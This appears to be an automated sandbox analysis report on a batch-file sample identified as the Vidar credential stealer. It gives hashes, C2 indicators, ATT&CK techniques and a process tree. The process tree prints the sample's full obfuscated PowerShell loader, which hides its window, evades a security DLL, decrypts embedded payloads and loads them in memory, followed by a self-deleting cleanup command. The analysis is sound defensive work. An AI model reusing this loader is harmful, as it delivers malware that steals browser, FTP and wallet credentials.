Analysis
-
max time kernel
83s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
12-09-2024 19:55
Static task
static1
Behavioral task
behavioral1
Sample
JpNzLWAgHFMrAnon.bat
Resource
win7-20240704-en
General
-
Target
JpNzLWAgHFMrAnon.bat
-
Size
5.3MB
-
MD5
19b5c87c0b9852349096678f5e282023
-
SHA1
4cb1080f90f68b65c8ebab9c2e7a8286640b3ac0
-
SHA256
163edbe86835ef07b9248ee9516b136be05d5b3fd60479bfa81e3375f44eacc9
-
SHA512
82d4e435057de7e938c7cee8695bc1e258b2352ae885c68f26a679c91793b16c353cc8440e706f4687c49990d3b936788acb253983c671ef09b1bb46bf90a4e4
-
SSDEEP
49152:Ik2uYNfkQHyggm5Xve+n8gJgxk5kWsqO+Cgs4e5NUZAICDucSsjHaz4Dl0vBKF:B
Malware Config
Extracted
vidar
https://t.me/edm0d
https://steamcommunity.com/profiles/
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
Signatures
-
Detect Vidar Stealer 31 IoCs
resource yara_rule behavioral2/memory/3216-47-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-56-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-50-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-70-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-71-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-86-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-87-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-103-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-104-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-111-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-129-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-130-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-140-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-141-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-145-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-150-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-146-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-151-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-155-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-160-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-161-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-166-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-167-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-172-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-168-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-173-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-177-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-178-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-179-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-180-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 behavioral2/memory/3216-187-0x0000000000400000-0x0000000000657000-memory.dmp family_vidar_v7 -
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1516 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation RegAsm.exe -
Loads dropped DLL 2 IoCs
pid Process 3216 RegAsm.exe 3216 RegAsm.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2788 set thread context of 3216 2788 powershell.exe 95 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RegAsm.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegAsm.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 4016 timeout.exe -
Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 2788 powershell.exe 2788 powershell.exe 1516 powershell.exe 1516 powershell.exe 3216 RegAsm.exe 3216 RegAsm.exe 3216 RegAsm.exe 3216 RegAsm.exe 3216 RegAsm.exe 3216 RegAsm.exe 3216 RegAsm.exe 3216 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2788 powershell.exe Token: SeDebugPrivilege 1516 powershell.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 2076 wrote to memory of 3756 2076 cmd.exe 85 PID 2076 wrote to memory of 3756 2076 cmd.exe 85 PID 2076 wrote to memory of 2788 2076 cmd.exe 86 PID 2076 wrote to memory of 2788 2076 cmd.exe 86 PID 2076 wrote to memory of 2788 2076 cmd.exe 86 PID 2788 wrote to memory of 1516 2788 powershell.exe 89 PID 2788 wrote to memory of 1516 2788 powershell.exe 89 PID 2788 wrote to memory of 1516 2788 powershell.exe 89 PID 2788 wrote to memory of 3216 2788 powershell.exe 95 PID 2788 wrote to memory of 3216 2788 powershell.exe 95 PID 2788 wrote to memory of 3216 2788 powershell.exe 95 PID 2788 wrote to memory of 3216 2788 powershell.exe 95 PID 2788 wrote to memory of 3216 2788 powershell.exe 95 PID 2788 wrote to memory of 3216 2788 powershell.exe 95 PID 2788 wrote to memory of 3216 2788 powershell.exe 95 PID 2788 wrote to memory of 3216 2788 powershell.exe 95 PID 2788 wrote to memory of 3216 2788 powershell.exe 95 PID 2788 wrote to memory of 3216 2788 powershell.exe 95 PID 3216 wrote to memory of 5040 3216 RegAsm.exe 100 PID 3216 wrote to memory of 5040 3216 RegAsm.exe 100 PID 3216 wrote to memory of 5040 3216 RegAsm.exe 100 PID 5040 wrote to memory of 4016 5040 cmd.exe 102 PID 5040 wrote to memory of 4016 5040 cmd.exe 102 PID 5040 wrote to memory of 4016 5040 cmd.exe 102
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\JpNzLWAgHFMrAnon.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\JpNzLWAgHFMrAnon.bat';$Fyln='SBaRNpliBaRNtBaRN'.Replace('BaRN', ''),'Invnedaonedakeneda'.Replace('neda', ''),'EboudnboudtboudryboudPboudoboudintboud'.Replace('boud', ''),'MaYSfCinMYSfCoYSfCdulYSfCeYSfC'.Replace('YSfC', ''),'LoadqVJddqVJ'.Replace('dqVJ', ''),'FgXzErgXzEogXzEmBgXzEagXzEsgXzEegXzE64SgXzEtgXzErigXzEnggXzE'.Replace('gXzE', ''),'CBCMXopBCMXyTBCMXoBCMX'.Replace('BCMX', ''),'ESmiJlSmiJeSmiJmenSmiJtAtSmiJ'.Replace('SmiJ', ''),'ChfjJLanfjJLgfjJLeExfjJLtfjJLenfjJLsifjJLonfjJL'.Replace('fjJL', ''),'GeyBtXtCyBtXuryBtXreyBtXntyBtXProyBtXceyBtXssyBtX'.Replace('yBtX', ''),'TrbTqfanbTqfsbTqfforbTqfmbTqfFinbTqfalbTqfBbTqflobTqfckbTqf'.Replace('bTqf', ''),'ReaACqRdACqRLiACqRneACqRsACqR'.Replace('ACqR', ''),'CredSdxadSdxtedSdxDedSdxcrdSdxypdSdxtdSdxordSdx'.Replace('dSdx', ''),'DCrPCeCrPCcomCrPCpreCrPCssCrPC'.Replace('CrPC', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($Fyln[9])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function NItLV($nzWJk){$DdoMy=[System.Security.Cryptography.Aes]::Create();$DdoMy.Mode=[System.Security.Cryptography.CipherMode]::CBC;$DdoMy.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$DdoMy.Key=[System.Convert]::($Fyln[5])('tRyGB5PdbiSqFo/ETUYwPoj7Pv8OlhuGCHsxSSDk/TM=');$DdoMy.IV=[System.Convert]::($Fyln[5])('zT33ctLvNUVazqPY5eMA9w==');$jTksN=$DdoMy.($Fyln[12])();$ttoWi=$jTksN.($Fyln[10])($nzWJk,0,$nzWJk.Length);$jTksN.Dispose();$DdoMy.Dispose();$ttoWi;}function EmQKv($nzWJk){$xudhB=New-Object System.IO.MemoryStream(,$nzWJk);$lXTBg=New-Object System.IO.MemoryStream;$MgRyv=New-Object System.IO.Compression.GZipStream($xudhB,[IO.Compression.CompressionMode]::($Fyln[13]));$MgRyv.($Fyln[6])($lXTBg);$MgRyv.Dispose();$xudhB.Dispose();$lXTBg.Dispose();$lXTBg.ToArray();}$pYQiu=[System.IO.File]::($Fyln[11])([Console]::Title);$mhlnF=EmQKv (NItLV ([Convert]::($Fyln[5])([System.Linq.Enumerable]::($Fyln[7])($pYQiu, 5).Substring(2))));$GMHtR=EmQKv (NItLV ([Convert]::($Fyln[5])([System.Linq.Enumerable]::($Fyln[7])($pYQiu, 6).Substring(2))));[System.Reflection.Assembly]::($Fyln[4])([byte[]]$GMHtR).($Fyln[2]).($Fyln[1])($null,$null);[System.Reflection.Assembly]::($Fyln[4])([byte[]]$mhlnF).($Fyln[2]).($Fyln[1])($null,$null); "2⤵PID:3756
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1516
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Checks computer location settings
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3216 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\GDBFCGIIIJDB" & exit4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5040 -
C:\Windows\SysWOW64\timeout.exetimeout /t 105⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:4016
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
-
Filesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
-
Filesize
1KB
MD5938ffc2cba917b243d86b2cf76dcefb4
SHA1234b53d91d075f16cc63c731eefdae278e2faad3
SHA2565c1eaf13b15f1d5d1ea7f6c3fcbeff0f8b0faf8b9a620ecd26edb49d667f56ca
SHA512e4ec928e5943a47739c862e3fd0c4bd9f1f21942e2416269f5057f5df49ce451d90acea39ee5319a0828ca1d944c2eda3eb8e7ab19984c7b8624a58f2111c314
-
Filesize
20KB
MD56b48e95e24f8601a65a116f009598151
SHA1500a533e89b930f9f1db5509c79871b62f5a284e
SHA256be95b1f4e3d0844c8345943906b1be67b61d2a77ebc51922b5e12febdc219e1d
SHA51248b660ec7ba542782a84ac94b4aba409792a8be0b59fc17d114de1b78e5416ae2b2bf115b4294338436106552a780c2c8455beed96e1d2d0b953936267dacbcd
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82